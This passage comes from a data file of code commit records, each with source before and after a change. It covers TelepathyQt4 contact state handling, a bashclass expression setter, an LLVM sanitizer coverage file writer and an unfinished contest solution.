mPriv->isAvatarTokenKnown;\n}\n\nQString Contact::avatarToken() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAvatarToken)) {\n        warning() << \"Contact::avatarToken() used on\" << this\n            << \"for which FeatureAvatarToken hasn't been requested - returning \\\"\\\"\";\n        return QString(\"\");\n    } else if (!isAvatarTokenKnown()) {\n        warning() << \"Contact::avatarToken() used on\" << this\n            << \"for which the avatar token is not (yet) known - returning \\\"\\\"\";\n        return QString(\"\");\n    }\n\n    return mPriv->avatarToken;\n}\n\nQString Contact::presenceStatus() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        warning() << \"Contact::presenceStatus() used on\" << this\n            << \"for which FeatureSimplePresence hasn't been requested - returning \\\"unknown\\\"\";\n        return QString(\"unknown\");\n    }\n\n    return mPriv->simplePresence.status;\n}\n\nuint Contact::presenceType() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        warning() << \"Contact::presenceType() used on\" << this\n            << \"for which FeatureSimplePresence hasn't been requested - returning Unknown\";\n        return ConnectionPresenceTypeUnknown;\n    }\n\n    return mPriv->simplePresence.type;\n}\n\nQString Contact::presenceMessage() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        warning() << \"Contact::presenceMessage() used on\" << this\n            << \"for which FeatureSimplePresence hasn't been requested - returning \\\"\\\"\";\n        return QString(\"\");\n    }\n\n    return mPriv->simplePresence.statusMessage;\n}\n\nContact::PresenceState Contact::subscriptionState() const\n{\n    return mPriv->subscriptionState;\n}\n\nContact::PresenceState Contact::publishState() const\n{\n    return mPriv->publishState;\n}\n\nPendingOperation *Contact::requestPresenceSubscription(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->requestContactsPresenceSubscription(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nPendingOperation *Contact::removePresenceSubscription(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->removeContactsPresenceSubscription(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nPendingOperation *Contact::authorizePresencePublication(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->authorizeContactsPresencePublication(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nPendingOperation *Contact::removePresencePublication(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->removeContactsPresencePublication(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nContact::~Contact()\n{\n    debug() << \"Contact\" << id() << \"destroyed\";\n    delete mPriv;\n}\n\nContact::Contact(ContactManager *manager, const ReferencedHandles &handle,\n        const QSet<Feature> &requestedFeatures, const QVariantMap &attributes)\n    : QObject(0), mPriv(new Private(manager, handle))\n{\n    augment(requestedFeatures, attributes);\n}\n\nvoid Contact::augment(const QSet<Feature> &requestedFeatures, const QVariantMap &attributes) {\n    mPriv->requestedFeatures.unite(requestedFeatures);\n\n    mPriv->id = qdbus_cast<QString>(attributes[TELEPATHY_INTERFACE_CONNECTION \"\/contact-id\"]);\n\n    foreach (Feature feature, requestedFeatures) {\n        QString maybeAlias;\n        SimplePresence maybePresence;\n\n        switch (feature) {\n            case FeatureAlias:\n                maybeAlias = qdbus_cast<QString>(attributes.value(\n                            TELEPATHY_INTERFACE_CONNECTION_INTERFACE_ALIASING \"\/alias\"));\n\n                if (!maybeAlias.isEmpty()) {\n                    receiveAlias(maybeAlias);\n                } else if (mPriv->alias.isEmpty()) {\n                    mPriv->alias = mPriv->id;\n                }\n                break;\n\n            case FeatureAvatarToken:\n                if (attributes.contains(\n                            TELEPATHY_INTERFACE_CONNECTION_INTERFACE_AVATARS \"\/token\")) {\n                    receiveAvatarToken(qdbus_cast<QString>(attributes.value(\n                                    TELEPATHY_INTERFACE_CONNECTION_INTERFACE_AVATARS \"\/token\")));\n                } else {\n                    if (manager()->supportedFeatures().contains(FeatureAvatarToken)) {\n                        \/\/ AvatarToken being supported but not included in the mapping indicates\n                        \/\/ that the avatar token is not known - however, the feature is working fine\n                        mPriv->actualFeatures.insert(FeatureAvatarToken);\n                    }\n                    \/\/ In either case, the avatar token can't be known\n                    mPriv->isAvatarTokenKnown = false;\n                    mPriv->avatarToken = \"\";\n                }\n                break;\n\n            case FeatureSimplePresence:\n                maybePresence = qdbus_cast<SimplePresence>(attributes.value(\n                            TELEPATHY_INTERFACE_CONNECTION_INTERFACE_SIMPLE_PRESENCE \"\/presence\"));\n\n                if (!maybePresence.status.isEmpty()) {\n                    receiveSimplePresence(maybePresence);\n                } else {\n                    mPriv->simplePresence.type = ConnectionPresenceTypeUnknown;\n                    mPriv->simplePresence.status = \"unknown\";\n                    mPriv->simplePresence.statusMessage = \"\";\n                }\n                break;\n\n            default:\n                warning() << \"Unknown feature\" << feature << \"encountered when augmenting Contact\";\n                break;\n        }\n    }\n}\n\nvoid Contact::receiveAlias(const QString &alias)\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAlias)) {\n        return;\n    }\n\n    mPriv->actualFeatures.insert(FeatureAlias);\n\n    if (mPriv->alias != alias) {\n        mPriv->alias = alias;\n        emit aliasChanged(alias);\n    }\n}\n\nvoid Contact::receiveAvatarToken(const QString &token)\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAvatarToken)) {\n        return;\n    }\n\n    mPriv->actualFeatures.insert(FeatureAvatarToken);\n\n    if (!mPriv->isAvatarTokenKnown || mPriv->avatarToken != token) {\n        mPriv->isAvatarTokenKnown = true;\n        mPriv->avatarToken = token;\n        emit avatarTokenChanged(token);\n    }\n}\n\nvoid Contact::receiveSimplePresence(const SimplePresence &presence)\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        return;\n    }\n\n    mPriv->actualFeatures.insert(FeatureSimplePresence);\n\n    if (mPriv->simplePresence.status != presence.status\n            || mPriv->simplePresence.statusMessage != presence.statusMessage) {\n        mPriv->simplePresence = presence;\n        emit simplePresenceChanged(presenceStatus(), presenceType(), presenceMessage());\n    }\n}\n\nvoid Contact::setSubscriptionState(Contact::PresenceState state)\n{\n    mPriv->subscriptionState = state;\n    emit subscriptionStateChanged(state);\n}\n\nvoid Contact::setPublishState(Contact::PresenceState state)\n{\n    mPriv->publishState = state;\n    emit publishStateChanged(state);\n}\n\n} \/\/ Telepathy::Client\n} \/\/ Telepathy\n<commit_msg>Contact: Make sure subscription\/publishStateChanged is not emitted if nothing happened.<commit_after>\/*\n * This file is part of TelepathyQt4\n *\n * Copyright (C) 2008 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * Copyright (C) 2008 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include <TelepathyQt4\/Client\/Contact>\n#include \"TelepathyQt4\/Client\/_gen\/contact.moc.hpp\"\n\n#include <TelepathyQt4\/Client\/Connection>\n#include <TelepathyQt4\/Client\/ContactManager>\n#include <TelepathyQt4\/Client\/ReferencedHandles>\n#include <TelepathyQt4\/Constants>\n\n#include \"TelepathyQt4\/debug-internal.h\"\n\nnamespace Telepathy\n{\nnamespace Client\n{\n\nstruct Contact::Private\n{\n    Private(ContactManager *manager, const ReferencedHandles &handle)\n        : manager(manager), handle(handle), isAvatarTokenKnown(false),\n          subscriptionState(PresenceStateNo), publishState(PresenceStateNo)\n    {\n    }\n\n    ContactManager *manager;\n    ReferencedHandles handle;\n    QString id;\n\n    QSet<Feature> requestedFeatures;\n    QSet<Feature> actualFeatures;\n\n    QString alias;\n    bool isAvatarTokenKnown;\n    QString avatarToken;\n    SimplePresence simplePresence;\n\n    PresenceState subscriptionState;\n    PresenceState publishState;\n};\n\nContactManager *Contact::manager() const\n{\n    return mPriv->manager;\n}\n\nReferencedHandles Contact::handle() const\n{\n    return mPriv->handle;\n}\n\nQString Contact::id() const\n{\n    return mPriv->id;\n}\n\nQSet<Contact::Feature> Contact::requestedFeatures() const\n{\n    return mPriv->requestedFeatures;\n}\n\nQSet<Contact::Feature> Contact::actualFeatures() const\n{\n    return mPriv->actualFeatures;\n}\n\nQString Contact::alias() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAlias)) {\n        warning() << \"Contact::alias() used on\" << this\n            << \"for which FeatureAlias hasn't been requested - returning id\";\n        return id();\n    }\n\n    return mPriv->alias;\n}\n\nbool Contact::isAvatarTokenKnown() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAvatarToken)) {\n        warning() << \"Contact::isAvatarTokenKnown() used on\" << this\n            << \"for which FeatureAvatarToken hasn't been requested - returning false\";\n        return false;\n    }\n\n    return mPriv->isAvatarTokenKnown;\n}\n\nQString Contact::avatarToken() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAvatarToken)) {\n        warning() << \"Contact::avatarToken() used on\" << this\n            << \"for which FeatureAvatarToken hasn't been requested - returning \\\"\\\"\";\n        return QString(\"\");\n    } else if (!isAvatarTokenKnown()) {\n        warning() << \"Contact::avatarToken() used on\" << this\n            << \"for which the avatar token is not (yet) known - returning \\\"\\\"\";\n        return QString(\"\");\n    }\n\n    return mPriv->avatarToken;\n}\n\nQString Contact::presenceStatus() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        warning() << \"Contact::presenceStatus() used on\" << this\n            << \"for which FeatureSimplePresence hasn't been requested - returning \\\"unknown\\\"\";\n        return QString(\"unknown\");\n    }\n\n    return mPriv->simplePresence.status;\n}\n\nuint Contact::presenceType() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        warning() << \"Contact::presenceType() used on\" << this\n            << \"for which FeatureSimplePresence hasn't been requested - returning Unknown\";\n        return ConnectionPresenceTypeUnknown;\n    }\n\n    return mPriv->simplePresence.type;\n}\n\nQString Contact::presenceMessage() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        warning() << \"Contact::presenceMessage() used on\" << this\n            << \"for which FeatureSimplePresence hasn't been requested - returning \\\"\\\"\";\n        return QString(\"\");\n    }\n\n    return mPriv->simplePresence.statusMessage;\n}\n\nContact::PresenceState Contact::subscriptionState() const\n{\n    return mPriv->subscriptionState;\n}\n\nContact::PresenceState Contact::publishState() const\n{\n    return mPriv->publishState;\n}\n\nPendingOperation *Contact::requestPresenceSubscription(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->requestContactsPresenceSubscription(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nPendingOperation *Contact::removePresenceSubscription(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->removeContactsPresenceSubscription(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nPendingOperation *Contact::authorizePresencePublication(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->authorizeContactsPresencePublication(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nPendingOperation *Contact::removePresencePublication(const QString &message)\n{\n    QSharedPointer<Contact> self =\n        mPriv->manager->lookupContactByHandle(mPriv->handle[0]);\n    return mPriv->manager->removeContactsPresencePublication(\n            QList<QSharedPointer<Contact> >() << self,\n            message);\n}\n\nContact::~Contact()\n{\n    debug() << \"Contact\" << id() << \"destroyed\";\n    delete mPriv;\n}\n\nContact::Contact(ContactManager *manager, const ReferencedHandles &handle,\n        const QSet<Feature> &requestedFeatures, const QVariantMap &attributes)\n    : QObject(0), mPriv(new Private(manager, handle))\n{\n    augment(requestedFeatures, attributes);\n}\n\nvoid Contact::augment(const QSet<Feature> &requestedFeatures, const QVariantMap &attributes) {\n    mPriv->requestedFeatures.unite(requestedFeatures);\n\n    mPriv->id = qdbus_cast<QString>(attributes[TELEPATHY_INTERFACE_CONNECTION \"\/contact-id\"]);\n\n    foreach (Feature feature, requestedFeatures) {\n        QString maybeAlias;\n        SimplePresence maybePresence;\n\n        switch (feature) {\n            case FeatureAlias:\n                maybeAlias = qdbus_cast<QString>(attributes.value(\n                            TELEPATHY_INTERFACE_CONNECTION_INTERFACE_ALIASING \"\/alias\"));\n\n                if (!maybeAlias.isEmpty()) {\n                    receiveAlias(maybeAlias);\n                } else if (mPriv->alias.isEmpty()) {\n                    mPriv->alias = mPriv->id;\n                }\n                break;\n\n            case FeatureAvatarToken:\n                if (attributes.contains(\n                            TELEPATHY_INTERFACE_CONNECTION_INTERFACE_AVATARS \"\/token\")) {\n                    receiveAvatarToken(qdbus_cast<QString>(attributes.value(\n                                    TELEPATHY_INTERFACE_CONNECTION_INTERFACE_AVATARS \"\/token\")));\n                } else {\n                    if (manager()->supportedFeatures().contains(FeatureAvatarToken)) {\n                        \/\/ AvatarToken being supported but not included in the mapping indicates\n                        \/\/ that the avatar token is not known - however, the feature is working fine\n                        mPriv->actualFeatures.insert(FeatureAvatarToken);\n                    }\n                    \/\/ In either case, the avatar token can't be known\n                    mPriv->isAvatarTokenKnown = false;\n                    mPriv->avatarToken = \"\";\n                }\n                break;\n\n            case FeatureSimplePresence:\n                maybePresence = qdbus_cast<SimplePresence>(attributes.value(\n                            TELEPATHY_INTERFACE_CONNECTION_INTERFACE_SIMPLE_PRESENCE \"\/presence\"));\n\n                if (!maybePresence.status.isEmpty()) {\n                    receiveSimplePresence(maybePresence);\n                } else {\n                    mPriv->simplePresence.type = ConnectionPresenceTypeUnknown;\n                    mPriv->simplePresence.status = \"unknown\";\n                    mPriv->simplePresence.statusMessage = \"\";\n                }\n                break;\n\n            default:\n                warning() << \"Unknown feature\" << feature << \"encountered when augmenting Contact\";\n                break;\n        }\n    }\n}\n\nvoid Contact::receiveAlias(const QString &alias)\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAlias)) {\n        return;\n    }\n\n    mPriv->actualFeatures.insert(FeatureAlias);\n\n    if (mPriv->alias != alias) {\n        mPriv->alias = alias;\n        emit aliasChanged(alias);\n    }\n}\n\nvoid Contact::receiveAvatarToken(const QString &token)\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAvatarToken)) {\n        return;\n    }\n\n    mPriv->actualFeatures.insert(FeatureAvatarToken);\n\n    if (!mPriv->isAvatarTokenKnown || mPriv->avatarToken != token) {\n        mPriv->isAvatarTokenKnown = true;\n        mPriv->avatarToken = token;\n        emit avatarTokenChanged(token);\n    }\n}\n\nvoid Contact::receiveSimplePresence(const SimplePresence &presence)\n{\n    if (!mPriv->requestedFeatures.contains(FeatureSimplePresence)) {\n        return;\n    }\n\n    mPriv->actualFeatures.insert(FeatureSimplePresence);\n\n    if (mPriv->simplePresence.status != presence.status\n            || mPriv->simplePresence.statusMessage != presence.statusMessage) {\n        mPriv->simplePresence = presence;\n        emit simplePresenceChanged(presenceStatus(), presenceType(), presenceMessage());\n    }\n}\n\nvoid Contact::setSubscriptionState(Contact::PresenceState state)\n{\n    if (mPriv->subscriptionState == state) {\n        return;\n    }\n    mPriv->subscriptionState = state;\n    emit subscriptionStateChanged(state);\n}\n\nvoid Contact::setPublishState(Contact::PresenceState state)\n{\n    if (mPriv->publishState == state) {\n        return;\n    }\n    mPriv->publishState = state;\n    emit publishStateChanged(state);\n}\n\n} \/\/ Telepathy::Client\n} \/\/ Telepathy\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Remove qDebug from Issue #41<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Backport crash fixes to Phantom::doExit from master<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Add to CRC_List CRC-3\/GSM<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>two functions to read plates: fits and par<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>tls_wrap: move members to initialization list<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix potential crash when peers get disconnected when we announce pieces to them<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <bashclass\/BVariableCall.h>\n#include <bashclass\/BTypes.h>\n#include <iostream>\n\nstd::string BVariableCall::getTypeValueAsString() {\n    if(!m_variable || !m_variable->hasKnownType()) {\n        return BType::UNDEFINED;\n    }\n    return m_variable->getType()->getValue();\n}\n\nvoid BVariableCall::setExpression(std::shared_ptr<IBCallable> expression) {\n\n    if(!m_variable) {\n        std::cerr << \"Expression cannot be assigned to the undefined variable \"\n                  << m_lexicalToken->getValue() << std::endl;\n        return;\n    }\n\n    \/\/ Compare types\n    std::string expressionType = expression->getTypeValueAsString();\n    std::string variableType = m_variable->getType()->getValue();\n    if(!m_variable->hasKnownType()) {\n        std::cerr << \"Cannot assign expression to an undefined type for variable \"\n                  << m_variable->getName()->getValue() << std::endl;\n    } else if(expressionType == BType::UNDEFINED) {\n        std::cerr << \"Variable \" << m_variable->getName()->getValue()\n                  << \" cannot be assigned an undefined expression\" << std::endl;\n    } else if(variableType != BType::TYPE_VALUE_ANY && variableType != expressionType) {\n        std::cerr << \"Variable \" << m_variable->getName()->getValue() << \" expects an expression of type \"\n                  << variableType << \" but given \" << expressionType << std::endl;\n    }\n\n    \/\/ Set expression\n    m_expression = expression;\n}<commit_msg>Enhanced code<commit_after>#include <bashclass\/BVariableCall.h>\n#include <bashclass\/BTypes.h>\n#include <iostream>\n\nstd::string BVariableCall::getTypeValueAsString() {\n    if(!m_variable || !m_variable->hasKnownType()) {\n        return BType::UNDEFINED;\n    }\n    return m_variable->getType()->getValue();\n}\n\nvoid BVariableCall::setExpression(std::shared_ptr<IBCallable> expression) {\n\n    \/\/ Set expression\n    m_expression = expression;\n\n    \/\/ Variable is required to compare the type of the expression\n    if(m_variable) {\n        \/\/ Compare types\n        std::string expressionType = expression->getTypeValueAsString();\n        std::string variableType = m_variable->getType()->getValue();\n        if(!m_variable->hasKnownType()) {\n            std::cerr << \"Cannot assign expression to an undefined type for variable \"\n                      << m_variable->getName()->getValue() << std::endl;\n        } else if(expressionType == BType::UNDEFINED) {\n            std::cerr << \"Variable \" << m_variable->getName()->getValue()\n                      << \" cannot be assigned an undefined expression\" << std::endl;\n        } else if(variableType != BType::TYPE_VALUE_ANY && variableType != expressionType) {\n            std::cerr << \"Variable \" << m_variable->getName()->getValue() << \" expects an expression of type \"\n                      << variableType << \" but given \" << expressionType << std::endl;\n        }\n    } else {\n        std::cerr << \"Expression cannot be evaluated because it is assigned to an undefined variable \"\n                  << m_lexicalToken->getValue() << std::endl;\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/\/===-- sanitizer_coverage_mapping.cc -------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Mmap-based implementation of sanitizer coverage.\n\/\/\n\/\/ This is part of the implementation of code coverage that does not require\n\/\/ __sanitizer_cov_dump() call. Data is stored in 2 files per process.\n\/\/\n\/\/ $pid.sancov.map describes process memory layout in the following text-based\n\/\/ format:\n\/\/ <pointer size in bits>  \/\/ 1 line, 32 or 64\n\/\/ <mapping start> <mapping end> <base address> <dso name> \/\/ repeated\n\/\/ ...\n\/\/ Mapping lines are NOT sorted. This file is updated every time memory layout\n\/\/ is changed (i.e. in dlopen() and dlclose() interceptors).\n\/\/\n\/\/ $pid.sancov.raw is a binary dump of PC values, sizeof(uptr) each. Again, not\n\/\/ sorted. This file is extended by 64Kb at a time and mapped into memory. It\n\/\/ contains one or more 0 words at the end, up to the next 64Kb aligned offset.\n\/\/\n\/\/ To convert these 2 files to the usual .sancov format, run sancov.py rawunpack\n\/\/ $pid.sancov.raw.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_allocator_internal.h\"\n#include \"sanitizer_libc.h\"\n#include \"sanitizer_procmaps.h\"\n\nnamespace __sanitizer {\n\nstatic const uptr kMaxNumberOfModules = 1 << 14;\nstatic const uptr kMaxTextSize = 64 * 1024;\n\nstruct CachedMapping {\n public:\n  bool NeedsUpdate(uptr pc) {\n    int new_pid = internal_getpid();\n    if (last_pid == new_pid && pc && pc >= last_range_start &&\n        pc < last_range_end)\n      return false;\n    last_pid = new_pid;\n    return true;\n  }\n\n  void SetModuleRange(uptr start, uptr end) {\n    last_range_start = start;\n    last_range_end = end;\n  }\n\n private:\n  uptr last_range_start, last_range_end;\n  int last_pid;\n};\n\nstatic CachedMapping cached_mapping;\nstatic StaticSpinMutex mapping_mu;\n\nvoid CovUpdateMapping(uptr caller_pc) {\n  if (!common_flags()->coverage || !common_flags()->coverage_direct) return;\n\n  SpinMutexLock l(&mapping_mu);\n\n  if (!cached_mapping.NeedsUpdate(caller_pc))\n    return;\n\n  InternalScopedString text(kMaxTextSize);\n  InternalScopedBuffer<LoadedModule> modules(kMaxNumberOfModules);\n  CHECK(modules.data());\n  int n_modules = GetListOfModules(modules.data(), kMaxNumberOfModules,\n                                   \/* filter *\/ 0);\n\n  text.append(\"%d\\n\", sizeof(uptr) * 8);\n  for (int i = 0; i < n_modules; ++i) {\n    const char *module_name = StripModuleName(modules[i].full_name());\n    for (unsigned j = 0; j < modules[i].n_ranges(); ++j) {\n      if (modules[i].address_range_executable(j)) {\n        uptr start = modules[i].address_range_start(j);\n        uptr end = modules[i].address_range_end(j);\n        uptr base = modules[i].base_address();\n        text.append(\"%zx %zx %zx %s\\n\", start, end, base, module_name);\n        if (caller_pc && caller_pc >= start && caller_pc < end)\n          cached_mapping.SetModuleRange(start, end);\n      }\n    }\n  }\n\n  int err;\n  InternalScopedString tmp_path(64 +\n                                internal_strlen(common_flags()->coverage_dir));\n  uptr res = internal_snprintf((char *)tmp_path.data(), tmp_path.size(),\n                    \"%s\/%zd.sancov.map.tmp\", common_flags()->coverage_dir,\n                    internal_getpid());\n  CHECK_LE(res, tmp_path.size());\n  uptr map_fd = OpenFile(tmp_path.data(), true);\n  if (internal_iserror(map_fd, &err)) {\n    Report(\" Coverage: failed to open %s for writing: %d\\n\", tmp_path.data(), err);\n    Die();\n  }\n\n  res = internal_write(map_fd, text.data(), text.length());\n  if (internal_iserror(res, &err)) {\n    Printf(\"sancov.map write failed: %d\\n\", err);\n    Die();\n  }\n  internal_close(map_fd);\n\n  InternalScopedString path(64 + internal_strlen(common_flags()->coverage_dir));\n  res = internal_snprintf((char *)path.data(), path.size(), \"%s\/%zd.sancov.map\",\n                    common_flags()->coverage_dir, internal_getpid());\n  CHECK_LE(res, path.size());\n  res = internal_rename(tmp_path.data(), path.data());\n  if (internal_iserror(res, &err)) {\n    Printf(\"sancov.map rename failed: %d\\n\", err);\n    Die();\n  }\n}\n\n}  \/\/ namespace __sanitizer\n<commit_msg>[asan] Fix line >80 chars.<commit_after>\/\/===-- sanitizer_coverage_mapping.cc -------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Mmap-based implementation of sanitizer coverage.\n\/\/\n\/\/ This is part of the implementation of code coverage that does not require\n\/\/ __sanitizer_cov_dump() call. Data is stored in 2 files per process.\n\/\/\n\/\/ $pid.sancov.map describes process memory layout in the following text-based\n\/\/ format:\n\/\/ <pointer size in bits>  \/\/ 1 line, 32 or 64\n\/\/ <mapping start> <mapping end> <base address> <dso name> \/\/ repeated\n\/\/ ...\n\/\/ Mapping lines are NOT sorted. This file is updated every time memory layout\n\/\/ is changed (i.e. in dlopen() and dlclose() interceptors).\n\/\/\n\/\/ $pid.sancov.raw is a binary dump of PC values, sizeof(uptr) each. Again, not\n\/\/ sorted. This file is extended by 64Kb at a time and mapped into memory. It\n\/\/ contains one or more 0 words at the end, up to the next 64Kb aligned offset.\n\/\/\n\/\/ To convert these 2 files to the usual .sancov format, run sancov.py rawunpack\n\/\/ $pid.sancov.raw.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_allocator_internal.h\"\n#include \"sanitizer_libc.h\"\n#include \"sanitizer_procmaps.h\"\n\nnamespace __sanitizer {\n\nstatic const uptr kMaxNumberOfModules = 1 << 14;\nstatic const uptr kMaxTextSize = 64 * 1024;\n\nstruct CachedMapping {\n public:\n  bool NeedsUpdate(uptr pc) {\n    int new_pid = internal_getpid();\n    if (last_pid == new_pid && pc && pc >= last_range_start &&\n        pc < last_range_end)\n      return false;\n    last_pid = new_pid;\n    return true;\n  }\n\n  void SetModuleRange(uptr start, uptr end) {\n    last_range_start = start;\n    last_range_end = end;\n  }\n\n private:\n  uptr last_range_start, last_range_end;\n  int last_pid;\n};\n\nstatic CachedMapping cached_mapping;\nstatic StaticSpinMutex mapping_mu;\n\nvoid CovUpdateMapping(uptr caller_pc) {\n  if (!common_flags()->coverage || !common_flags()->coverage_direct) return;\n\n  SpinMutexLock l(&mapping_mu);\n\n  if (!cached_mapping.NeedsUpdate(caller_pc))\n    return;\n\n  InternalScopedString text(kMaxTextSize);\n  InternalScopedBuffer<LoadedModule> modules(kMaxNumberOfModules);\n  CHECK(modules.data());\n  int n_modules = GetListOfModules(modules.data(), kMaxNumberOfModules,\n                                   \/* filter *\/ 0);\n\n  text.append(\"%d\\n\", sizeof(uptr) * 8);\n  for (int i = 0; i < n_modules; ++i) {\n    const char *module_name = StripModuleName(modules[i].full_name());\n    for (unsigned j = 0; j < modules[i].n_ranges(); ++j) {\n      if (modules[i].address_range_executable(j)) {\n        uptr start = modules[i].address_range_start(j);\n        uptr end = modules[i].address_range_end(j);\n        uptr base = modules[i].base_address();\n        text.append(\"%zx %zx %zx %s\\n\", start, end, base, module_name);\n        if (caller_pc && caller_pc >= start && caller_pc < end)\n          cached_mapping.SetModuleRange(start, end);\n      }\n    }\n  }\n\n  int err;\n  InternalScopedString tmp_path(64 +\n                                internal_strlen(common_flags()->coverage_dir));\n  uptr res = internal_snprintf((char *)tmp_path.data(), tmp_path.size(),\n                    \"%s\/%zd.sancov.map.tmp\", common_flags()->coverage_dir,\n                    internal_getpid());\n  CHECK_LE(res, tmp_path.size());\n  uptr map_fd = OpenFile(tmp_path.data(), true);\n  if (internal_iserror(map_fd, &err)) {\n    Report(\" Coverage: failed to open %s for writing: %d\\n\", tmp_path.data(),\n           err);\n    Die();\n  }\n\n  res = internal_write(map_fd, text.data(), text.length());\n  if (internal_iserror(res, &err)) {\n    Printf(\"sancov.map write failed: %d\\n\", err);\n    Die();\n  }\n  internal_close(map_fd);\n\n  InternalScopedString path(64 + internal_strlen(common_flags()->coverage_dir));\n  res = internal_snprintf((char *)path.data(), path.size(), \"%s\/%zd.sancov.map\",\n                    common_flags()->coverage_dir, internal_getpid());\n  CHECK_LE(res, path.size());\n  res = internal_rename(tmp_path.data(), path.data());\n  if (internal_iserror(res, &err)) {\n    Printf(\"sancov.map rename failed: %d\\n\", err);\n    Die();\n  }\n}\n\n}  \/\/ namespace __sanitizer\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <queue>\n#include <vector>\n#include <utility>\n#include <iostream>\n#include <string>\n#include <stack>\n\nusing namespace std;\n\nstack<string> lv1;\nstack<string> lv2;\nstack<string> lv3;\n\nstring temp;\nint templv;\nint temptime=0;\nint usernum;\nint users=0;\nint read(int now){\n\tif(now < temptime) return 0;\n\n\tdo{\n\t\tprintf(\"test\\n\");\n\t\tif(temp.empty()){\n\n\t\t}else{\n\n\t\t\tswitch(templv){\n\t\t\t\tcase 1:\n\t\t\t\t\tlv1.push(temp);break;\n\t\t\t\tcase 2:\n\t\t\t\t\tlv2.push(temp);break;\n\t\t\t\tcase 3:\n\t\t\t\t\tlv3.push(temp);break;\n\t\t\t}\n\t\t}\n\t\tif(users<usernum)\n\t\t\tcin >>temptime>>templv>>temp;\n\t\t\tusers++;\n\t\telse\n\t\t\treturn 0;\n\t}while(temptime<=now);\n\n\n\n}\nint main(int argc, char const *argv[])\n{\n\t\tint time;\n\t\tscanf(\"%d%d\",&usernum,&time);\n\t\tfor (int i = 0; i < time; ++i)\n\t\t{\t\n\t\t\tread(i);\n\t\t\tcout<<i<<\"\\n\"<<lv1.size()<<lv2.size()<<lv3.size()<<endl;\n\t\t\t\n\t\t}\n\t\t\t\n\t\t\t\n\t\t\n\t \n\t\n\treturn 0;\n}<commit_msg>update uoj2254<commit_after>#include <stdio.h>\n#include <queue>\n#include <vector>\n#include <utility>\n#include <iostream>\n#include <string>\n#include <stack>\n\nusing namespace std;\n\nstack<string> lv1;\nstack<string> lv2;\nstack<string> lv3;\n\nstring temp;\nint templv;\nint temptime=0;\nint usernum;\nint users=0;\nint read(int now){\n\tif(now < temptime) return 0;\n\n\tdo{\n\t\tprintf(\"test\\n\");\n\t\tif(temp.empty()){\n\n\t\t}else{\n\n\t\t\tswitch(templv){\n\t\t\t\tcase 